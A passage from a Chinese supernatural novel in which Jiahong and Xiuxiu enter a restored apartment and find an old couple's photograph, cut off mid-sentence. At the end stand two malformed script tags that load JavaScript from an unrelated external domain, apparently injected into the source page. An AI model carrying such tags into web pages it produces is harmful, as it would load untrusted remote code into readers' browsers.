不是翻新。是被释放了。
河眼关闭之後,那些困在暗河里的秽阴慢慢地消散了。没有了秽阴的侵蚀,这栋楼开始恢复它原本的样子。它还是一栋老旧的大楼,但不再是那种“被诅咒”的老旧。它只是一栋普通的、上了年纪的、需要拉皮的公寓大楼。
他们爬上六楼。六楼的走廊也变了——日光灯全换成了LED灯,走廊亮得像白天。那些虚掩的铁门全部关上了,门上的门牌号码换成了新的,金色的字在白色的灯光下闪闪发亮。走廊里的杂物被清空了,地面拖得乾乾净净,白色瓷砖在灯光下反着光。
六楼之五的门是关着的。但门上贴着一张纸条,纸条上的字迹娟秀,像女孩子写的:
「欢迎回家。不用敲门,直接进来。钥匙在门框上面。」
嘉宏伸手摸了摸门框的上方。果然摸到一把钥匙。铁制的,生了锈,但还能用。他把钥匙插进锁孔,转了一下——咔哒一声,门开了。
门後的房间,和他记忆中的一模一样。
六坪左右,磨石子地砖,一张单人床靠墙放着,灰色的床单,枕头旁边放着一个行天宫的平安符——红色的锦囊,金漆字迹。窗户上挂着米白色的窗帘,窗帘半开,窗外的光线透进来,在地板上投下一片长方形的光斑。一张书桌靠窗放着,书桌上放着一台老式的桌上型电脑——CRT萤幕的那种,厚得像一块砖头,萤幕上积了一层灰。
电脑旁边是一个相框,相框里是一张黑白照片。
照片里是一对年轻男女。男的穿着一件白色的衬衫,女的穿着一件白色的洋装。他们站在一栋大楼前面,笑得很开心。男的搂着女的腰,女的靠着男的肩膀。
大楼的正门上方,挂着一块招牌——“时代大饭店”。
嘉宏拿起那个相框,看了很久。
“这张照片,”秀秀走到他身边,“是谁拍的?”
“不知道。路人吧。”
“路人拍得这麽好?”
“可能是因为我们长得好。”
秀秀笑了。她接过相框,用手指摸了摸照片上那两个年轻人的脸。她的手指在玻璃表面滑过,发出细微的沙沙声。
“阿宏。”
“嗯?”
“我们再拍一张好不好?”
“拍什麽?”
“合照。就在这里。同一个角度。同一个姿势。”
嘉宏看了看房间,又看了看相框里的照
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">